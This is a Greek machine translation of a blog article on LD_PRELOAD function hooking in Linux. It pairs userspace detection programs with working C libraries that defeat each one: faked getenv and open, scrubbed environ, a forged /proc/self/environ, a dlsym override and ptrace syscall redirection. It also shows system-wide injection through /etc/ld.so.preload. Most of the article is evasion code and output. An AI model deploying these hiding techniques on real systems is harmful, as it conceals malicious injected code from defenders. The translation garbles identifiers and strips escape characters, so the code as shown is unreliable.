Αυτό το σημείωμα γράφτηκε το 2014, αλλά μόλις έπεσα υπό καταστολή στο Habré και δεν είδε το φως της δημοσιότητας. Κατά τη διάρκεια της απαγόρευσης το ξέχασα, αλλά τώρα το βρήκα στα προσχέδια. Σκέφτηκα να το διαγράψω, αλλά ίσως είναι χρήσιμο σε κάποιον.

Γενικά, λίγη Παρασκευή ο διαχειριστής διαβάζει το θέμα της αναζήτησης για "περιλαμβάνεται" LD_PRELOAD.
1. Μια σύντομη παρέκβαση για όσους δεν είναι εξοικειωμένοι με την αντικατάσταση συναρτήσεων
Τα υπόλοιπα μπορούν να πάνε κατευθείαν π.2.
Ας ξεκινήσουμε με ένα κλασικό παράδειγμα:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
srand (time(NULL));
for(int i=0; i<5; i++){
printf ("%dn", rand()%100);
}
}
Συγκεντρώνουμε χωρίς σημαίες:
$ gcc ./ld_rand.c -o ld_rand
Και, όπως ήταν αναμενόμενο, παίρνουμε 5 τυχαίους αριθμούς μικρότερους από το 100:
$ ./ld_rand
53
93
48
57
20
Αλλά ας φανταστούμε ότι δεν έχουμε τον πηγαίο κώδικα του προγράμματος, αλλά πρέπει να αλλάξουμε τη συμπεριφορά.
Ας δημιουργήσουμε τη δική μας βιβλιοθήκη με το δικό μας πρωτότυπο συνάρτησης, για παράδειγμα:
int rand(){
return 42;
}
$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so
Και τώρα η τυχαία επιλογή μας είναι αρκετά προβλέψιμη:
# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42
Αυτό το κόλπο φαίνεται ακόμα πιο εντυπωσιακό αν πρώτα εξάγουμε τη βιβλιοθήκη μας μέσω
$ export LD_PRELOAD=$PWD/ld_rand.so
ή θα το κάνουμε πρώτα
# echo "$PWD/ld_rand.so" > /etc/ld.so.preload
και μετά εκτελέστε το πρόγραμμα ως συνήθως. Δεν έχουμε αλλάξει ούτε μια γραμμή κώδικα στο ίδιο το πρόγραμμα, αλλά η συμπεριφορά του εξαρτάται πλέον από μια μικροσκοπική συνάρτηση στη βιβλιοθήκη μας. Επιπλέον, τη στιγμή της συγγραφής του προγράμματος, το όλα δεν υπήρχε καν.
Τι έκανε το πρόγραμμά μας να χρησιμοποιήσει ψεύτικο όλα? Ας το πάμε βήμα-βήμα.
Όταν ξεκινά μια εφαρμογή, φορτώνονται ορισμένες βιβλιοθήκες που περιέχουν τις λειτουργίες που χρειάζεται το πρόγραμμα. Μπορούμε να τα δούμε χρησιμοποιώντας ldd:
# ldd ./ld_rand
linux-vdso.so.1 (0x00007ffc8b1f3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)
Αυτή η λίστα μπορεί να διαφέρει ανάλογα με την έκδοση του λειτουργικού συστήματος, αλλά πρέπει να υπάρχει ένα αρχείο εκεί libc.so. Αυτή η βιβλιοθήκη είναι που παρέχει κλήσεις συστήματος και βασικές λειτουργίες όπως π.χ ανοίξτε, malloc, Printf κλπ. μας όλα είναι επίσης ανάμεσά τους. Ας βεβαιωθούμε για αυτό:
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand
Ας δούμε αν το σύνολο των βιβλιοθηκών αλλάζει όταν χρησιμοποιείται LD_PRELOAD
# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
linux-vdso.so.1 (0x00007ffea52ae000)
/scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
/lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)
Αποδεικνύεται ότι η μεταβλητή έχει οριστεί LD_PRELOAD αναγκάζει να φορτώσουμε ld_rand.so ακόμη και παρά το γεγονός ότι το ίδιο το πρόγραμμα δεν το απαιτεί. Και από τη λειτουργία μας "άκρα" φορτώνει νωρίτερα από όλα από libc.so, τότε κυβερνά το πετεινό.
Εντάξει, καταφέραμε να αντικαταστήσουμε την εγγενή συνάρτηση, αλλά πώς μπορούμε να βεβαιωθούμε ότι η λειτουργικότητά της θα διατηρηθεί και θα προστεθούν κάποιες ενέργειες. Ας τροποποιήσουμε το τυχαίο μας:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
typedef int (*orig_rand_f_type)(void);
int rand()
{
/* Выполняем некий код */
printf("Evil injected coden");
orig_rand_f_type orig_rand;
orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
return orig_rand();
}
Εδώ, ως "προσθήκη", εκτυπώνουμε μόνο μία γραμμή κειμένου, μετά την οποία δημιουργούμε έναν δείκτη στην αρχική συνάρτηση όλα. Για να λάβουμε τη διεύθυνση αυτής της συνάρτησης χρειαζόμαστε δλσυμ είναι μια συνάρτηση από τη βιβλιοθήκη libdlπου θα βρει το δικό μας όλα σε μια στοίβα δυναμικών βιβλιοθηκών. Μετά από αυτό θα καλέσουμε αυτή τη συνάρτηση και θα επιστρέψουμε την τιμή της. Αντίστοιχα, θα χρειαστεί να προσθέσουμε "-ldl" κατά τη συναρμολόγηση:
$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so
$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95
Και το πρόγραμμά μας χρησιμοποιεί "native" όλα, έχοντας προηγουμένως πραγματοποιήσει κάποιες άσεμνες ενέργειες.
2. Ο πόνος της αναζήτησης
Γνωρίζοντας για μια πιθανή απειλή, θέλουμε να την εντοπίσουμε προφόρτιση Πραγματοποιήθηκε. Είναι σαφές ότι ο καλύτερος τρόπος ανίχνευσης είναι να το σπρώξετε στον πυρήνα, αλλά με ενδιέφεραν οι επιλογές ανίχνευσης στο userspace.
Στη συνέχεια, οι λύσεις για τον εντοπισμό και τη διάψευση τους θα έρθουν ανά δύο.
2.1. Ας ξεκινήσουμε απλά
Όπως αναφέρθηκε προηγουμένως, μπορείτε να καθορίσετε τη βιβλιοθήκη που θα φορτωθεί χρησιμοποιώντας τη μεταβλητή LD_PRELOAD ή γράφοντάς το σε αρχείο /etc/ld.so.preload. Ας δημιουργήσουμε δύο απλούς ανιχνευτές.
Το πρώτο είναι να ελέγξετε τη μεταβλητή περιβάλλοντος που έχει οριστεί:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main()
{
char* pGetenv = getenv("LD_PRELOAD");
pGetenv != NULL ?
printf("LD_PRELOAD (getenv) [+]n"):
printf("LD_PRELOAD (getenv) [-]n");
}
Το δεύτερο είναι να ελέγξετε αν το αρχείο είναι ανοιχτό:
#include <stdio.h>
#include <fcntl.h>
int main()
{
open("/etc/ld.so.preload", O_RDONLY) != -1 ?
printf("LD_PRELOAD (open) [+]n"):
printf("LD_PRELOAD (open) [-]n");
}
Ας φορτώσουμε τις βιβλιοθήκες:
$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload
$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]
Εδώ και παρακάτω, το [+] υποδηλώνει επιτυχή εντοπισμό.
Κατά συνέπεια, [-] σημαίνει παράκαμψη ανίχνευσης.
Πόσο αποτελεσματικός είναι ένας τέτοιος ανιχνευτής; Ας ρίξουμε μια ματιά στη μεταβλητή περιβάλλοντος πρώτα:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
return orig_getenv(name);
}
$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]
Παρομοίως, απαλλαγούμε από την επιταγή ανοίξτε:
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>
int (*orig_open)(const char*, int oflag) = NULL;
int open(const char *path, int oflag, ...)
{
char real_path[256];
if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0){
errno = ENOENT;
return -1;
}
return orig_open(path, oflag);
}
$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]
Ναι, εδώ μπορούν να χρησιμοποιηθούν άλλοι τρόποι πρόσβασης στο αρχείο, όπως, open64, κατάσταση κ.λπ., αλλά, στην πραγματικότητα, χρειάζονται οι ίδιες 5-10 γραμμές κώδικα για να τους εξαπατήσουν.
2.2. Ας προχωρήσουμε
Παραπάνω χρησιμοποιήσαμε getenv() για να πάρει την αξία LD_PRELOAD, αλλά υπάρχει επίσης ένας πιο «χαμηλού επιπέδου» τρόπος για να φτάσετε ENV-μεταβλητές. Δεν θα χρησιμοποιήσουμε ενδιάμεσες συναρτήσεις, αλλά θα αναφερθούμε στον πίνακα **περιβάλλω, το οποίο αποθηκεύει ένα αντίγραφο του περιβάλλοντος:
#include <stdio.h>
#include <string.h>
extern char **environ;
int main(int argc, char **argv) {
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++)
{
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL)
{
printf("LD_PRELOAD (**environ) [+]n");
return 0;
}
}
printf("LD_PRELOAD (**environ) [-]n");
return 0;
}
Δεδομένου ότι εδώ διαβάζουμε δεδομένα απευθείας από τη μνήμη, μια τέτοια κλήση δεν μπορεί να υποκλαπεί, και μας undetect_getenv δεν παρεμβαίνει πλέον στον εντοπισμό της εισβολής.
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]
Φαίνεται ότι αυτό το πρόβλημα έχει λυθεί; Είναι ακόμα μόλις αρχίζει.
Αφού ξεκινήσει το πρόγραμμα, η τιμή της μεταβλητής LD_PRELOAD οι χάκερ δεν το χρειάζονται πλέον στη μνήμη, δηλαδή μπορούν να το διαβάσουν και να το διαγράψουν πριν εκτελέσουν οποιεσδήποτε οδηγίες. Φυσικά, η επεξεργασία ενός πίνακα στη μνήμη είναι, τουλάχιστον, ένα κακό στυλ προγραμματισμού, αλλά πώς μπορεί αυτό να σταματήσει κάποιον που δεν μας εύχεται πραγματικά καλά ούτως ή άλλως;
Για να γίνει αυτό πρέπει να δημιουργήσουμε τη δική μας ψεύτικη συνάρτηση μέσα σε αυτό(), στο οποίο αναχαιτίζουμε το εγκατεστημένο LD_PRELOAD και περάστε το στον σύνδεσμο μας:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;
// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций
void evil_init()
{
// Сначала сохраним текущее значение LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Избавляемся от текущего LD_PRELOAD
unsetenv(env);
break;
}
}
}
int execve(const char *path, char *const argv[], char *const envp[])
{
int i = 0, j = 0, k = -1, ret = 0;
char** new_env;
if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");
// Проверям не существует ли других установленных LD_PRELOAD
for(i = 0; envp[i]; i++){
if(strstr(envp[i], "LD_PRELOAD")) k = i;
}
// Если LD_PRELOAD не было установлено до нас, то добавим его
if(k == -1){
k = i;
i++;
}
// Создаём новое окружение
new_env = (char**) malloc((i+1)*sizeof(char*));
// Копируем старое окружение, за исключением LD_PRELOAD
for(j = 0; j < i; j++) {
// перезаписываем или создаём LD_PRELOAD
if(j == k) {
new_env[j] = (char*) malloc(256);
strcpy(new_env[j], "LD_PRELOAD=");
strcat(new_env[j], evil_env);
}
else new_env[j] = (char*) envp[j];
}
new_env[i] = NULL;
ret = orig_execve(path, argv, new_env);
free(new_env[k]);
free(new_env);
return ret;
}
Εκτελούμε και ελέγχουμε:
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]
2.3. /proc/self/
Ωστόσο, η μνήμη δεν είναι το τελευταίο μέρος όπου μπορείτε να βρείτε μια αντικατάσταση LD_PRELOAD, υπάρχει επίσης / proc /. Ας ξεκινήσουμε με το προφανές /proc/{PID}/environ.
Στην πραγματικότητα, υπάρχει μια καθολική λύση για μη ανιχνεύσιμος **περιβάλλω и /proc/self/environ. Το πρόβλημα είναι η «λάθος» συμπεριφορά unsetenv(env).
σωστή επιλογή
void evil_init()
{
// Сначала сохраним текущее значение LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Избавляемся от текущего LD_PRELOAD
//unsetenv(env);
// Вместо unset просто обнулим нашу переменную
for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
break;
}
}
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
Ας φανταστούμε όμως ότι δεν το βρήκαμε και /proc/self/environ περιέχει «προβληματικά» δεδομένα.
Πρώτα ας δοκιμάσουμε με την προηγούμενη «μεταμφίεση» μας:
$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so
πως χρησιμοποιεί το ίδιο για να ανοίξει το αρχείο Άνοιξε(), οπότε η λύση είναι παρόμοια με αυτή που είχε ήδη γίνει στην ενότητα 2.1, αλλά τώρα δημιουργούμε ένα προσωρινό αρχείο όπου αντιγράφουμε τις τιμές της πραγματικής μνήμης χωρίς γραμμές που περιέχουν LD_PRELOAD.
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>
#define BUFFER_SIZE 256
int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";
char *sstrstr(char *str, const char *sub)
{
int i, found;
char *ptr;
found = 0;
for(ptr = str; *ptr != ' '; ptr++) {
found = 1;
for(i = 0; found == 1 && sub[i] != ' '; i++){
if(sub[i] != ptr[i]) found = 0;
}
if(found == 1)
break;
}
if(found == 0)
return NULL;
return ptr + i;
}
void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
int fd;
char buffer[BUFFER_SIZE];
int bytes = -1;
int wbytes = -1;
int k = 0;
pid_t pid = getpid();
int fh;
if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
exit (42);
}
if((fd=orig_open(original_path, O_RDONLY))==-1) {
printf("LD: Cannot open read-file.n");
exit(42);
}
do
{
char t = 0;
bytes = read(fd, &t, 1);
buffer[k++] = t;
//printf("%c", t);
if(t == ' ') {
//printf("n");
if(!sstrstr(buffer, "LD_PRELOAD")) {
if((wbytes = write(fh,buffer,k))==-1) {
//printf("write errorn");
}
else {
//printf("writed %dn", wbytes);
}
}
k = 0;
}
}
while(bytes != 0);
close(fd);
close(fh);
}
int open(const char *path, int oflag, ...)
{
char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
pid_t pid = getpid();
if(!orig_open)
orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
if(strcmp(real_path, proc_path) == 0) {
snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
realpath(proc_path_0, proc_path);
fakeMaps(real_path, proc_path, soname);
return orig_open(proc_path, oflag);
}
return orig_open(path, oflag);
}
Και αυτό το στάδιο έχει περάσει:
$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
Το επόμενο προφανές μέρος είναι /proc/self/maps. Δεν έχει νόημα να σταθούμε σε αυτό. Η λύση είναι απολύτως πανομοιότυπη με την προηγούμενη: αντιγράψτε τα δεδομένα από το αρχείο μείον τις μεταξύ τους γραμμές libc.so и ld.so.
2.4. Επιλογή από το Chokepoint
Μου άρεσε ιδιαίτερα αυτή η λύση για την απλότητά της. Συγκρίνουμε τις διευθύνσεις των συναρτήσεων που φορτώνονται απευθείας από libcκαι διευθύνσεις "NEXT".
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"
int main(int argc, char *argv[]) {
void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
char *syscall_open = "open";
int i;
void *(*libc_func)();
void *(*next_func)();
libc_func = dlsym(libc, syscall_open);
next_func = dlsym(RTLD_NEXT, syscall_open);
if (libc_func != next_func) {
printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
printf("Libc address: %pn", libc_func);
printf("Next address: %pn", next_func);
}
else {
printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
}
return 0;
}
Φόρτωση της βιβλιοθήκης με υποκλοπή "Άνοιξε()" και ελέγξτε:
$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135
Η διάψευση αποδείχθηκε ακόμη πιο απλή:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
return _dl_sym (handle, symbol, dlsym);
}
# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]
2.5. Syscalls
Φαίνεται ότι αυτό είναι όλο, αλλά θα παραπαίουμε ακόμα. Εάν κατευθύνουμε την κλήση συστήματος απευθείας στον πυρήνα, αυτό θα παρακάμψει ολόκληρη τη διαδικασία υποκλοπής. Η παρακάτω λύση εξαρτάται φυσικά από την αρχιτεκτονική (x86_64). Ας προσπαθήσουμε να το εφαρμόσουμε για να εντοπίσουμε ένα άνοιγμα ld.so.προφόρτωση.
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BUFFER_SIZE 256
int syscall_open(char *path, long oflag)
{
int fd = -1;
__asm__ (
"mov $2, %%rax;" // Open syscall number
"mov %1, %%rdi;" // Address of our string
"mov %2, %%rsi;" // Open mode
"mov $0, %%rdx;" // No create mode
"syscall;" // Straight to ring0
"mov %%eax, %0;" // Returned file descriptor
:"=r" (fd)
:"m" (path), "m" (oflag)
:"rax", "rdi", "rsi", "rdx"
);
return fd;
}
int main()
{
syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
printf("LD_PRELOAD (open syscall) [+]n"):
printf("LD_PRELOAD (open syscall) [-]n");
}
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
Και αυτό το πρόβλημα έχει λύση. Απόσπασμα από άνδρας'ΕΝΑ:
Το ptrace είναι ένα εργαλείο που επιτρέπει σε μια γονική διαδικασία να παρατηρεί και να ελέγχει την πρόοδο μιας άλλης διεργασίας, να προβάλλει και να αλλάζει τα δεδομένα και τα μητρώα της. Συνήθως αυτή η συνάρτηση χρησιμοποιείται για τη δημιουργία σημείων διακοπής σε ένα πρόγραμμα εντοπισμού σφαλμάτων και την παρακολούθηση κλήσεων συστήματος.
Η γονική διαδικασία μπορεί να ξεκινήσει την ανίχνευση καλώντας πρώτα το fork(2), και στη συνέχεια η προκύπτουσα θυγατρική διαδικασία μπορεί να εκτελέσει το PTRACE_TRACEME, ακολουθούμενο (συνήθως) από την εκτέλεση του exec(3). Από την άλλη πλευρά, μια γονική διαδικασία μπορεί να ξεκινήσει τον εντοπισμό σφαλμάτων μιας υπάρχουσας διαδικασίας χρησιμοποιώντας το PTRACE_ATTACH.
Κατά την ανίχνευση, η θυγατρική διαδικασία σταματά κάθε φορά που λαμβάνει ένα σήμα, ακόμα κι αν το σήμα αγνοηθεί. (Η εξαίρεση είναι το SIGKILL, το οποίο λειτουργεί κανονικά.) Η γονική διαδικασία θα ειδοποιηθεί για αυτό καλώντας την αναμονή(2), μετά την οποία μπορεί να δει και να τροποποιήσει τα περιεχόμενα της θυγατρικής διεργασίας προτού ξεκινήσει. Στη συνέχεια, η γονική διαδικασία επιτρέπει στο παιδί να συνεχίσει να τρέχει, σε ορισμένες περιπτώσεις αγνοώντας το σήμα που του αποστέλλεται ή στέλνοντας άλλο σήμα).
Έτσι, η λύση είναι η παρακολούθηση της διαδικασίας, η διακοπή της πριν από κάθε κλήση συστήματος και, εάν είναι απαραίτητο, η ανακατεύθυνση του νήματος σε μια συνάρτηση άγκιστρου.
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>
#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip
#endif
long NOHOOK = 0;
long evil_open(const char *path, long oflag, long cflag)
{
char real_path[PATH_MAX], maps_path[PATH_MAX];
long ret;
pid_t pid;
pid = getpid();
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0)
{
errno = ENOENT;
ret = -1;
}
else
{
NOHOOK = 1; // Entering NOHOOK section
ret = open(path, oflag, cflag);
}
// Exiting NOHOOK section
NOHOOK = 0;
return ret;
}
void init()
{
pid_t program;
// Форкаем дочерний процесс
program = fork();
if(program != 0) {
int status;
long syscall_nr;
struct user_regs_struct regs;
// Подключаемся к дочернему процессу
if(ptrace(PTRACE_ATTACH, program) != 0) {
printf("Failed to attach to the program.n");
exit(1);
}
waitpid(program, &status, 0);
// Отслеживаем только SYSCALLs
ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
while(1) {
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
if(WIFEXITED(status) || WIFSIGNALED(status)) break;
else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
// Получаем номер системного вызова
syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
if(syscall_nr == __NR_open) {
// Читаем слово из памяти дочернего процесса
NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
// Перехватываем вызов
if(!NOHOOK) {
// Копируем регистры дочернего процесса
// в переменную regs родительского
ptrace(PTRACE_GETREGS, program, 0, ®s);
// Push return address on the stack
regs.REG_SP -= sizeof(long);
// Копируем слово в память дочернего процесса
ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
// Устанавливаем RIP по адресу evil_open
regs.REG_IP = (unsigned long) evil_open;
// Записываем состояние регистров процесса
ptrace(PTRACE_SETREGS, program, 0, ®s);
}
}
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
}
}
exit(0);
}
else {
sleep(0);
}
}
Ελέγχουμε:
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]
+0-0=5
Ευχαριστώ πολύ
, του οποίου τα άρθρα, οι πηγές και τα σχόλια έκαναν πολύ περισσότερα από μένα για να εμφανιστεί αυτή η σημείωση εδώ.
Πηγή: www.habr.com
